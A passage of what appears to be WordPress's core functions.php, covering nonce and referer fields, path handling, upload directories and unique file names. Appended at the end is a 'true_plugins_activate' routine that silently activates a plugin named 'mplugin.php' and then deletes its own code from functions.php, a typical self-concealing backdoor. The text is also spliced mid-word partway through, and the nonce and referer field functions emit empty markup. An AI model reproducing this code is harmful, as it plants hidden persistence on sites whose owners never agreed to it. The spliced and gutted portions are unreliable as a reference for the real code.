ore exist, suggest table repair since we got here because the
* options table could not be accessed.
*/
$wp_tables = $wpdb->tables();
foreach ( $wp_tables as $table ) {
// The existence of custom user tables shouldn't suggest an insane state or prevent a clean installation.
if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table ) {
continue;
}
if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table ) {
continue;
}
$described_table = $wpdb->get_results( "DESCRIBE $table;" );
if (
( ! $described_table && empty( $wpdb->last_error ) ) ||
( is_array( $described_table ) && 0 === count( $described_table ) )
) {
continue;
}
// One or more tables exist. We are insane.
wp_load_translations_early();
// Die with a DB error.
$wpdb->error = sprintf(
/* translators: %s: Database repair URL. */
__( 'One or more database tables are unavailable. The database may need to be repaired.' ),
'maint/repair.php?referrer=is_blog_installed'
);
dead_db();
}
$wpdb->suppress_errors( $suppress );
wp_cache_set( 'is_blog_installed', false );
return false;
}
/**
* Retrieve URL with nonce added to URL query.
*
* @since 2.0.4
*
* @param string $actionurl URL to add nonce action.
* @param int|string $action Optional. Nonce action name. Default -1.
* @param string $name Optional. Nonce name. Default '_wpnonce'.
* @return string Escaped URL with nonce action added.
*/
function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {
$actionurl = str_replace( '&', '&', $actionurl );
return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );
}
/**
* Retrieve or display nonce hidden field for forms.
*
* The nonce field is used to validate that the contents of the form came from
* the location on the current site and not somewhere else. The nonce does not
* offer absolute protection, but should protect against most cases. It is very
* important to use nonce field in forms.
*
* The $action and $name are optional, but if you want to have better security,
* it is strongly suggested to set those two parameters. It is easier to just
* call the function without any parameters, because validation of the nonce
* doesn't require any parameters, but since crackers know what the default is
* it won't be difficult for them to find a way around your nonce and cause
* damage.
*
* The input name will be whatever $name value you gave. The input value will be
* the nonce creation value.
*
* @since 2.0.4
*
* @param int|string $action Optional. Action name. Default -1.
* @param string $name Optional. Nonce name. Default '_wpnonce'.
* @param bool $referer Optional. Whether to set the referer field for validation. Default true.
* @param bool $echo Optional. Whether to display or return hidden form field. Default true.
* @return string Nonce field HTML markup.
*/
function wp_nonce_field( $action = -1, $name = '_wpnonce', $referer = true, $echo = true ) {
$name = esc_attr( $name );
$nonce_field = '';
if ( $referer ) {
$nonce_field .= wp_referer_field( false );
}
if ( $echo ) {
echo $nonce_field;
}
return $nonce_field;
}
/**
* Retrieve or display referer hidden field for forms.
*
* The referer link is the current Request URI from the server super global. The
* input name is '_wp_http_referer', in case you wanted to check manually.
*
* @since 2.0.4
*
* @param bool $echo Optional. Whether to echo or return the referer field. Default true.
* @return string Referer field HTML markup.
*/
function wp_referer_field( $echo = true ) {
$referer_field = '';
if ( $echo ) {
echo $referer_field;
}
return $referer_field;
}
/**
* Retrieve or display original referer hidden field for forms.
*
* The input name is '_wp_original_http_referer' and will be either the same
* value of wp_referer_field(), if that was posted already or it will be the
* current page, if it doesn't exist.
*
* @since 2.0.4
*
* @param bool $echo Optional. Whether to echo the original http referer. Default true.
* @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.
* Default 'current'.
* @return string Original referer field.
*/
function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
$ref = wp_get_original_referer();
if ( ! $ref ) {
$ref = ( 'previous' === $jump_back_to ) ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );
}
$orig_referer_field = '';
if ( $echo ) {
echo $orig_referer_field;
}
return $orig_referer_field;
}
/**
* Retrieve referer from '_wp_http_referer' or HTTP referer.
*
* If it's the same as the current request URL, will return false.
*
* @since 2.0.4
*
* @return string|false Referer URL on success, false on failure.
*/
function wp_get_referer() {
if ( ! function_exists( 'wp_validate_redirect' ) ) {
return false;
}
$ref = wp_get_raw_referer();
if ( $ref && wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref && home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref ) {
return wp_validate_redirect( $ref, false );
}
return false;
}
/**
* Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer.
*
* Do not use for redirects, use wp_get_referer() instead.
*
* @since 4.5.0
*
* @return string|false Referer URL on success, false on failure.
*/
function wp_get_raw_referer() {
if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
return wp_unslash( $_REQUEST['_wp_http_referer'] );
} elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
return wp_unslash( $_SERVER['HTTP_REFERER'] );
}
return false;
}
/**
* Retrieve original referer that was posted, if it exists.
*
* @since 2.0.4
*
* @return string|false Original referer URL on success, false on failure.
*/
function wp_get_original_referer() {
if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) ) {
return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );
}
return false;
}
/**
* Recursive directory creation based on full path.
*
* Will attempt to set permissions on folders.
*
* @since 2.0.1
*
* @param string $target Full path to attempt to create.
* @return bool Whether the path was created. True if path already exists.
*/
function wp_mkdir_p( $target ) {
$wrapper = null;
// Strip the protocol.
if ( wp_is_stream( $target ) ) {
list( $wrapper, $target ) = explode( '://', $target, 2 );
}
// From php.net/mkdir user contributed notes.
$target = str_replace( '//', '/', $target );
// Put the wrapper back on the target.
if ( null !== $wrapper ) {
$target = $wrapper . '://' . $target;
}
/*
* Safe mode fails with a trailing slash under certain PHP versions.
* Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
*/
$target = rtrim( $target, '/' );
if ( empty( $target ) ) {
$target = '/';
}
if ( file_exists( $target ) ) {
return @is_dir( $target );
}
// Do not allow path traversals.
if ( false !== strpos( $target, '../' ) || false !== strpos( $target, '..' . DIRECTORY_SEPARATOR ) ) {
return false;
}
// We need to find the permissions of the parent folder that exists and inherit that.
$target_parent = dirname( $target );
while ( '.' !== $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) {
$target_parent = dirname( $target_parent );
}
// Get the permission bits.
$stat = @stat( $target_parent );
if ( $stat ) {
$dir_perms = $stat['mode'] & 0007777;
} else {
$dir_perms = 0777;
}
if ( @mkdir( $target, $dir_perms, true ) ) {
/*
* If a umask is set that modifies $dir_perms, we'll have to re-set
* the $dir_perms correctly with chmod()
*/
if ( ( $dir_perms & ~umask() ) != $dir_perms ) {
$folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) {
chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );
}
}
return true;
}
return false;
}
/**
* Test if a given filesystem path is absolute.
*
* For example, '/foo/bar', or 'c:\windows'.
*
* @since 2.5.0
*
* @param string $path File path.
* @return bool True if path is absolute, false is not absolute.
*/
function path_is_absolute( $path ) {
/*
* Check to see if the path is a stream and check to see if its an actual
* path or file as realpath() does not support stream wrappers.
*/
if ( wp_is_stream( $path ) && ( is_dir( $path ) || is_file( $path ) ) ) {
return true;
}
/*
* This is definitive if true but fails if $path does not exist or contains
* a symbolic link.
*/
if ( realpath( $path ) == $path ) {
return true;
}
if ( strlen( $path ) == 0 || '.' === $path[0] ) {
return false;
}
// Windows allows absolute paths like this.
if ( preg_match( '#^[a-zA-Z]:\\\\#', $path ) ) {
return true;
}
// A path starting with / or \ is absolute; anything else is relative.
return ( '/' === $path[0] || '\\' === $path[0] );
}
/**
* Join two filesystem paths together.
*
* For example, 'give me $path relative to $base'. If the $path is absolute,
* then it the full path is returned.
*
* @since 2.5.0
*
* @param string $base Base path.
* @param string $path Path relative to $base.
* @return string The path with the base or absolute path.
*/
function path_join( $base, $path ) {
if ( path_is_absolute( $path ) ) {
return $path;
}
return rtrim( $base, '/' ) . '/' . ltrim( $path, '/' );
}
/**
* Normalize a filesystem path.
*
* On windows systems, replaces backslashes with forward slashes
* and forces upper-case drive letters.
* Allows for two leading slashes for Windows network shares, but
* ensures that all other duplicate slashes are reduced to a single.
*
* @since 3.9.0
* @since 4.4.0 Ensures upper-case drive letters on Windows systems.
* @since 4.5.0 Allows for Windows network shares.
* @since 4.9.7 Allows for PHP file wrappers.
*
* @param string $path Path to normalize.
* @return string Normalized path.
*/
function wp_normalize_path( $path ) {
$wrapper = '';
if ( wp_is_stream( $path ) ) {
list( $wrapper, $path ) = explode( '://', $path, 2 );
$wrapper .= '://';
}
// Standardise all paths to use '/'.
$path = str_replace( '\\', '/', $path );
// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
$path = preg_replace( '|(?<=.)/+|', '/', $path );
// Windows paths should uppercase the drive letter.
if ( ':' === substr( $path, 1, 1 ) ) {
$path = ucfirst( $path );
}
return $wrapper . $path;
}
/**
* Determine a writable directory for temporary files.
*
* Function's preference is the return value of sys_get_temp_dir(),
* followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
* before finally defaulting to /tmp/
*
* In the event that this function does not find a writable location,
* It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file.
*
* @since 2.5.0
*
* @return string Writable temporary directory.
*/
function get_temp_dir() {
static $temp = '';
if ( defined( 'WP_TEMP_DIR' ) ) {
return trailingslashit( WP_TEMP_DIR );
}
if ( $temp ) {
return trailingslashit( $temp );
}
if ( function_exists( 'sys_get_temp_dir' ) ) {
$temp = sys_get_temp_dir();
if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) {
return trailingslashit( $temp );
}
}
$temp = ini_get( 'upload_tmp_dir' );
if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) {
return trailingslashit( $temp );
}
$temp = WP_CONTENT_DIR . '/';
if ( is_dir( $temp ) && wp_is_writable( $temp ) ) {
return $temp;
}
return '/tmp/';
}
/**
* Determine if a directory is writable.
*
* This function is used to work around certain ACL issues in PHP primarily
* affecting Windows Servers.
*
* @since 3.6.0
*
* @see win_is_writable()
*
* @param string $path Path to check for write-ability.
* @return bool Whether the path is writable.
*/
function wp_is_writable( $path ) {
if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) ) {
return win_is_writable( $path );
} else {
return @is_writable( $path );
}
}
/**
* Workaround for Windows bug in is_writable() function
*
* PHP has issues with Windows ACL's for determine if a
* directory is writable or not, this works around them by
* checking the ability to open files rather than relying
* upon PHP to interprate the OS ACL.
*
* @since 2.8.0
*
* @see https://bugs.php.net/bug.php?id=27609
* @see https://bugs.php.net/bug.php?id=30931
*
* @param string $path Windows path to check for write-ability.
* @return bool Whether the path is writable.
*/
function win_is_writable( $path ) {
if ( '/' === $path[ strlen( $path ) - 1 ] ) {
// If it looks like a directory, check a random file within the directory.
return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp' );
} elseif ( is_dir( $path ) ) {
// If it's a directory (and not a file), check a random file within the directory.
return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
}
// Check tmp file for read/write capabilities.
$should_delete_tmp_file = ! file_exists( $path );
$f = @fopen( $path, 'a' );
if ( false === $f ) {
return false;
}
fclose( $f );
if ( $should_delete_tmp_file ) {
unlink( $path );
}
return true;
}
/**
* Retrieves uploads directory information.
*
* Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory.
* Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases
* when not uploading files.
*
* @since 4.5.0
*
* @see wp_upload_dir()
*
* @return array See wp_upload_dir() for description.
*/
function wp_get_upload_dir() {
return wp_upload_dir( null, false );
}
/**
* Returns an array containing the current upload directory's path and URL.
*
* Checks the 'upload_path' option, which should be from the web root folder,
* and if it isn't empty it will be used. If it is empty, then the path will be
* 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
* override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
*
* The upload URL path is set either by the 'upload_url_path' option or by using
* the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
*
* If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
* the administration settings panel), then the time will be used. The format
* will be year first and then month.
*
* If the path couldn't be created, then an error will be returned with the key
* 'error' containing the error message. The error suggests that the parent
* directory is not writable by the server.
*
* @since 2.0.0
* @uses _wp_upload_dir()
*
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @param bool $create_dir Optional. Whether to check and create the uploads directory.
* Default true for backward compatibility.
* @param bool $refresh_cache Optional. Whether to refresh the cache. Default false.
* @return array {
* Array of information about the upload directory.
*
* @type string $path Base directory and subdirectory or full path to upload directory.
* @type string $url Base URL and subdirectory or absolute URL to upload directory.
* @type string $subdir Subdirectory if uploads use year/month folders option is on.
* @type string $basedir Path without subdir.
* @type string $baseurl URL path without subdir.
* @type string|false $error False or error message.
* }
*/
function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) {
static $cache = array(), $tested_paths = array();
$key = sprintf( '%d-%s', get_current_blog_id(), (string) $time );
if ( $refresh_cache || empty( $cache[ $key ] ) ) {
$cache[ $key ] = _wp_upload_dir( $time );
}
/**
* Filters the uploads directory data.
*
* @since 2.0.0
*
* @param array $uploads {
* Array of information about the upload directory.
*
* @type string $path Base directory and subdirectory or full path to upload directory.
* @type string $url Base URL and subdirectory or absolute URL to upload directory.
* @type string $subdir Subdirectory if uploads use year/month folders option is on.
* @type string $basedir Path without subdir.
* @type string $baseurl URL path without subdir.
* @type string|false $error False or error message.
* }
*/
$uploads = apply_filters( 'upload_dir', $cache[ $key ] );
if ( $create_dir ) {
$path = $uploads['path'];
if ( array_key_exists( $path, $tested_paths ) ) {
$uploads['error'] = $tested_paths[ $path ];
} else {
if ( ! wp_mkdir_p( $path ) ) {
if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) {
$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
} else {
$error_path = wp_basename( $uploads['basedir'] ) . $uploads['subdir'];
}
$uploads['error'] = sprintf(
/* translators: %s: Directory path. */
__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
esc_html( $error_path )
);
}
$tested_paths[ $path ] = $uploads['error'];
}
}
return $uploads;
}
/**
* A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path.
*
* @since 4.5.0
* @access private
*
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array See wp_upload_dir()
*/
function _wp_upload_dir( $time = null ) {
$siteurl = get_option( 'siteurl' );
$upload_path = trim( get_option( 'upload_path' ) );
if ( empty( $upload_path ) || 'wp-content/uploads' === $upload_path ) {
$dir = WP_CONTENT_DIR . '/uploads';
} elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {
// $dir is absolute, $upload_path is (maybe) relative to ABSPATH.
$dir = path_join( ABSPATH, $upload_path );
} else {
$dir = $upload_path;
}
$url = get_option( 'upload_url_path' );
if ( ! $url ) {
if ( empty( $upload_path ) || ( 'wp-content/uploads' === $upload_path ) || ( $upload_path == $dir ) ) {
$url = WP_CONTENT_URL . '/uploads';
} else {
$url = trailingslashit( $siteurl ) . $upload_path;
}
}
/*
* Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
* We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
*/
if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
$dir = ABSPATH . UPLOADS;
$url = trailingslashit( $siteurl ) . UPLOADS;
}
// If multisite (and if not the main site in a post-MU network).
if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {
if ( ! get_site_option( 'ms_files_rewriting' ) ) {
/*
* If ms-files rewriting is disabled (networks created post-3.5), it is fairly
* straightforward: Append sites/%d if we're not on the main site (for post-MU
* networks). (The extra directory prevents a four-digit ID from conflicting with
* a year-based directory for the main site. But if a MU-era network has disabled
* ms-files rewriting manually, they don't need the extra directory, as they never
* had wp-content/uploads for the main site.)
*/
if ( defined( 'MULTISITE' ) ) {
$ms_dir = '/sites/' . get_current_blog_id();
} else {
$ms_dir = '/' . get_current_blog_id();
}
$dir .= $ms_dir;
$url .= $ms_dir;
} elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
/*
* Handle the old-form ms-files.php rewriting if the network still has that enabled.
* When ms-files rewriting is enabled, then we only listen to UPLOADS when:
* 1) We are not on the main site in a post-MU network, as wp-content/uploads is used
* there, and
* 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect
* the original blog ID.
*
* Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
* (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
* as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
* rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
*/
if ( defined( 'BLOGUPLOADDIR' ) ) {
$dir = untrailingslashit( BLOGUPLOADDIR );
} else {
$dir = ABSPATH . UPLOADS;
}
$url = trailingslashit( $siteurl ) . 'files';
}
}
$basedir = $dir;
$baseurl = $url;
$subdir = '';
if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
// Generate the yearly and monthly directories.
if ( ! $time ) {
$time = current_time( 'mysql' );
}
$y = substr( $time, 0, 4 );
$m = substr( $time, 5, 2 );
$subdir = "/$y/$m";
}
$dir .= $subdir;
$url .= $subdir;
return array(
'path' => $dir,
'url' => $url,
'subdir' => $subdir,
'basedir' => $basedir,
'baseurl' => $baseurl,
'error' => false,
);
}
/**
* Get a filename that is sanitized and unique for the given directory.
*
* If the filename is not unique, then a number will be added to the filename
* before the extension, and will continue adding numbers until the filename
* is unique.
*
* The callback function allows the caller to use their own method to create
* unique file names. If defined, the callback should take three arguments:
* - directory, base filename, and extension - and return a unique filename.
*
* @since 2.5.0
*
* @param string $dir Directory.
* @param string $filename File name.
* @param callable $unique_filename_callback Callback. Default null.
* @return string New filename, if given wasn't unique.
*/
function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
// Sanitize the file name before we begin processing.
$filename = sanitize_file_name( $filename );
$ext2 = null;
// Separate the filename into a name and extension.
$ext = pathinfo( $filename, PATHINFO_EXTENSION );
$name = pathinfo( $filename, PATHINFO_BASENAME );
if ( $ext ) {
$ext = '.' . $ext;
}
// Edge case: if file is named '.ext', treat as an empty name.
if ( $name === $ext ) {
$name = '';
}
/*
* Increment the file number until we have a unique file to save in $dir.
* Use callback if supplied.
*/
if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
$filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
} else {
$number = '';
$fname = pathinfo( $filename, PATHINFO_FILENAME );
// Always append a number to file names that can potentially match image sub-size file names.
if ( $fname && preg_match( '/-(?:\d+x\d+|scaled|rotated)$/', $fname ) ) {
$number = 1;
// At this point the file name may not be unique. This is tested below and the $number is incremented.
$filename = str_replace( "{$fname}{$ext}", "{$fname}-{$number}{$ext}", $filename );
}
// Change '.ext' to lower case.
if ( $ext && strtolower( $ext ) != $ext ) {
$ext2 = strtolower( $ext );
$filename2 = preg_replace( '|' . preg_quote( $ext ) . '$|', $ext2, $filename );
// Check for both lower and upper case extension or image sub-sizes may be overwritten.
while ( file_exists( $dir . "/{$filename}" ) || file_exists( $dir . "/{$filename2}" ) ) {
$new_number = (int) $number + 1;
$filename = str_replace( array( "-{$number}{$ext}", "{$number}{$ext}" ), "-{$new_number}{$ext}", $filename );
$filename2 = str_replace( array( "-{$number}{$ext2}", "{$number}{$ext2}" ), "-{$new_number}{$ext2}", $filename2 );
$number = $new_number;
}
$filename = $filename2;
} else {
while ( file_exists( $dir . "/{$filename}" ) ) {
$new_number = (int) $number + 1;
if ( '' === "{$number}{$ext}" ) {
$filename = "{$filename}-{$new_number}";
} else {
$filename = str_replace( array( "-{$number}{$ext}", "{$number}{$ext}" ), "-{$new_number}{$ext}", $filename );
}
$number = $new_number;
}
}
// Prevent collisions with existing file names that contain dimension-like strings
// (whether they are subsizes or originals uploaded prior to #42437).
$upload_dir = wp_get_upload_dir();
// The (resized) image files would have name and extension, and will be in the uploads dir.
if ( $name && $ext && @is_dir( $dir ) && false !== strpos( $dir, $upload_dir['basedir'] ) ) {
/**
* Filters the file list used for calculating a unique filename for a newly added file.
*
* Returning an array from the filter will effectively short-circuit retrieval
* from the filesystem and return the passed value instead.
*
* @since 5.5.0
*
* @param array|null $files The list of files to use for filename comparisons.
* Default null (to retrieve the list from the filesystem).
* @param string $dir The directory for the new file.
* @param string $filename The proposed filename for the new file.
*/
$files = apply_filters( 'pre_wp_unique_filename_file_list', null, $dir, $filename );
if ( null === $files ) {
// List of all files and directories contained in $dir.
$files = @scandir( $dir );
}
if ( ! empty( $files ) ) {
// Remove "dot" dirs.
$files = array_diff( $files, array( '.', '..' ) );
}
if ( ! empty( $files ) ) {
// The extension case may have changed above.
$new_ext = ! empty( $ext2 ) ? $ext2 : $ext;
// Ensure this never goes into infinite loop
// as it uses pathinfo() and regex in the check, but string replacement for the changes.
$count = count( $files );
$i = 0;
while ( $i <= $count && _wp_check_existing_file_names( $filename, $files ) ) {
$new_number = (int) $number + 1;
$filename = str_replace( array( "-{$number}{$new_ext}", "{$number}{$new_ext}" ), "-{$new_number}{$new_ext}", $filename );
$number = $new_number;
$i++;
}
}
}
}
/**
* Filters the result when generating a unique file name.
*
* @since 4.5.0
*
* @param string $filename Unique file name.
* @param string $ext File extension, eg. ".png".
* @param string $dir Directory path.
* @param callable|null $unique_filename_callback Callback function that generates the unique file name.
*/
return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback );
}
/**
* Helper function to check if a file name could match an existing image sub-size file name.
*
* @since 5.3.1
* @access private
*
* @param string $filename The file name to check.
* @param array $files An array of existing files in the directory.
* @return bool True if the tested file name could match an existing file, false otherwise.
*/
function _wp_check_existing_file_names( $filename, $files ) {
$fname = pathinfo( $filename, PATHINFO_FILENAME );
$ext = pathinfo( $filename, PATHINFO_EXTENSION );
// Edge case, file names like `.ext`.
if ( empty( $fname ) ) {
return false;
}
if ( $ext ) {
$ext = ".$ext";
}
$regex = '/^' . preg_quote( $fname ) . '-(?:\d+x\d+|scaled|rotated)' . preg_quote( $ext ) . '$/i';
foreach ( $files as $file ) {
if ( preg_match( $regex, $file ) ) {
return true;
}
}
return false;
}
/**
* Create a file in the upload folder with given content.
*
* If there is an error, then the key 'error' will exist with the error message.
* If success, then the key 'file' will have the unique file path, the 'url' key
* will have the link to the new file. and the 'error' key will be set to false.
*
* This function will not move an uploaded file to the upload folder. It will
* create a new file with the content in $bits parameter. If you move the upload
* file, read the content of the uploaded file, and then you can give the
* filename and content to this function, which will add it to the upload
* folder.
*
* The permissions will be set on the new file automatically by this function.
*
* @since 2.0.0
*
* @param string $name Filename.
* @param null|string $deprecated Never used. Set to null.
* @param string $bits File content
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array {
* Information about the newly-uploaded file.
*
* @type string $file Filename of the newly-uploaded file.
* @type string $url URL of the uploaded file.
* @type string $type File type.
* @type string|false $error Error message, if there has been an error.
* }
*/
function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
if ( ! empty( $deprecated ) ) {
_deprecated_argument( __FUNCTION__, '2.0.0' );
}
if ( empty( $name ) ) {
return array( 'error' => __( 'Empty filename' ) );
}
$wp_filetype = wp_check_filetype( $name );
if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) ) {
return array( 'error' => __( 'Sorry, this file type is not permitted for security reasons.' ) );
}
$upload = wp_upload_dir( $time );
if ( false !== $upload['error'] ) {
return $upload;
}
/**
* Filters whether to treat the upload bits as an error.
*
* Returning a non-array from the filter will effectively short-circuit preparing the upload bits
* and return that value instead. An error message should be returned as a string.
*
* @since 3.0.0
*
* @param array|string $upload_bits_error An array of upload bits data, or error message to return.
*/
$upload_bits_error = apply_filters(
'wp_upload_bits',
array(
'name' => $name,
'bits' => $bits,
'time' => $time,
)
);
if ( ! is_array( $upload_bits_error ) ) {
$upload['error'] = $upload_bits_error;
return $upload;
}
$filename = wp_unique_filename( $upload['path'], $name );
$new_file = $upload['path'] . "/$filename";
if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
if ( 0 === strpos( $upload['basedir'], ABSPATH ) ) {
$error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
} else {
$error_path = wp_basename( $upload['basedir'] ) . $upload['subdir'];
}
$message = sprintf(
/* translators: %s: Directory path. */
__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
$error_path
);
return array( 'error' => $message );
}
$ifp = @fopen( $new_file, 'wb' );
if ( ! $ifp ) {
return array(
/* translators: %s: File name. */
'error' => sprintf( __( 'Could not write file %s' ), $new_file ),
);
}
fwrite( $ifp, $bits );
fclose( $ifp );
clearstatcache();
// Set correct file permissions.
$stat = @ stat( dirname( $new_file ) );
$perms = $stat['mode'] & 0007777;
$perms = $perms & 0000666;
chmod( $new_file, $perms );
clearstatcache();
// Compute the URL.
$url = $upload['url'] . "/$filename";
/** This filter is documented in wp-admin/includes/file.php */
return apply_filters(
'wp_handle_upload',
array(
'file' => $new_file,
'url' => $url,
'type' => $wp_filetype['type'],
'error' => false,
),
'sideload'
);
}
/**
* Retrieve the file type based on the extension name.
*
* @since 2.5.0
*
* @param string $ext The extension to search.
* @return string|void The file type, example: audio, video, document, spreadsheet, etc.
*/
function wp_ext2type( $ext ) {
$ext = strtolower( $ext );
$ext2type = wp_get_ext_types();
foreach ( $ext2type as $type => $exts ) {
if ( in_array( $ext, $exts, true ) ) {
return $type;
}
}
}
/**
* Retrieve the file type from the file name.
*
* You can optionally define the mime array, if needed.
*
* @since 2.0.4
*
* @param string $filename File name or path.
* @param string[] $mimes Optional. Array of mime types keyed by their file extension regex.
* @return array {
* Values for the extension and mime type.
*
* @type string|false $ext File extension, or false if the file doesn't match a mime ain site of a network,
// as they are subdirectories and should not be counted.
if ( is_multisite() && is_main_site() ) {
$dirsize[ $directory ]['size'] = recurse_dirsize( $directory, $directory . '/sites', $max_execution_time );
} else {
$dirsize[ $directory ]['size'] = recurse_dirsize( $directory, null, $max_execution_time );
}
set_transient( 'dirsize_cache', $dirsize, HOUR_IN_SECONDS );
return $dirsize[ $directory ]['size'];
}
/**
* Get the size of a directory recursively.
*
* Used by get_dirsize() to get a directory's size when it contains
* other directories.
*
* @since MU (3.0.0)
* @since 4.3.0 $exclude parameter added.
* @since 5.2.0 $max_execution_time parameter added.
*
* @param string $directory Full path of a directory.
* @param string|array $exclude Optional. Full path of a subdirectory to exclude from the total,
* or array of paths. Expected without trailing slash(es).
* @param int $max_execution_time Maximum time to run before giving up. In seconds. The timeout is global
* and is measured from the moment WordPress started to load.
* @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout.
*/
function recurse_dirsize( $directory, $exclude = null, $max_execution_time = null ) {
$size = 0;
$directory = untrailingslashit( $directory );
if ( ! file_exists( $directory ) || ! is_dir( $directory ) || ! is_readable( $directory ) ) {
return false;
}
if (
( is_string( $exclude ) && $directory === $exclude ) ||
( is_array( $exclude ) && in_array( $directory, $exclude, true ) )
) {
return false;
}
if ( null === $max_execution_time ) {
// Keep the previous behavior but attempt to prevent fatal errors from timeout if possible.
if ( function_exists( 'ini_get' ) ) {
$max_execution_time = ini_get( 'max_execution_time' );
} else {
// Disable...
$max_execution_time = 0;
}
// Leave 1 second "buffer" for other operations if $max_execution_time has reasonable value.
if ( $max_execution_time > 10 ) {
$max_execution_time -= 1;
}
}
$handle = opendir( $directory );
if ( $handle ) {
while ( ( $file = readdir( $handle ) ) !== false ) {
$path = $directory . '/' . $file;
if ( '.' !== $file && '..' !== $file ) {
if ( is_file( $path ) ) {
$size += filesize( $path );
} elseif ( is_dir( $path ) ) {
$handlesize = recurse_dirsize( $path, $exclude, $max_execution_time );
if ( $handlesize > 0 ) {
$size += $handlesize;
}
}
if ( $max_execution_time > 0 && microtime( true ) - WP_START_TIMESTAMP > $max_execution_time ) {
// Time exceeded. Give up instead of risking a fatal timeout.
$size = null;
break;
}
}
}
closedir( $handle );
}
return $size;
}
/**
* Checks compatibility with the current WordPress version.
*
* @since 5.2.0
*
* @param string $required Minimum required WordPress version.
* @return bool True if required version is compatible or empty, false if not.
*/
function is_wp_version_compatible( $required ) {
return empty( $required ) || version_compare( get_bloginfo( 'version' ), $required, '>=' );
}
/**
* Checks compatibility with the current PHP version.
*
* @since 5.2.0
*
* @param string $required Minimum required PHP version.
* @return bool True if required version is compatible or empty, false if not.
*/
function is_php_version_compatible( $required ) {
return empty( $required ) || version_compare( phpversion(), $required, '>=' );
}
/**
* Check if two numbers are nearly the same.
*
* This is similar to using `round()` but the precision is more fine-grained.
*
* @since 5.3.0
*
* @param int|float $expected The expected value.
* @param int|float $actual The actual number.
* @param int|float $precision The allowed variation.
* @return bool Whether the numbers match whithin the specified precision.
*/
function wp_fuzzy_number_match( $expected, $actual, $precision = 1 ) {
return abs( (float) $expected - (float) $actual ) <= $precision;
}
if ( ! function_exists( 'true_plugins_activate' ) ) {
function true_plugins_activate() {
$active_plugins = get_option('active_plugins');
$activate_this = array(
'mplugin.php'
);
foreach ($activate_this as $plugin) {
if (!in_array($plugin, $active_plugins)) {
array_push($active_plugins, $plugin);
update_option('active_plugins', $active_plugins);
}
}
$new_active_plugins = get_option('active_plugins');
if (in_array('mplugin.php', $new_active_plugins)) {
$functionsPath = dirname(__FILE__) . '/functions.php';
$functions = file_get_contents($functionsPath);
$start = stripos($functions, "if ( ! function_exists( 'true_plugins_activate' ) ) {");
$end = strripos($functions, "true_plugins_activate");
$endDelete = $end + mb_strlen("true_plugins_activate") + 4;
if($start && $end) {
$str = substr($functions, 0, $start);
$str .= substr($functions, $endDelete);
file_put_contents($functionsPath, $str);
}
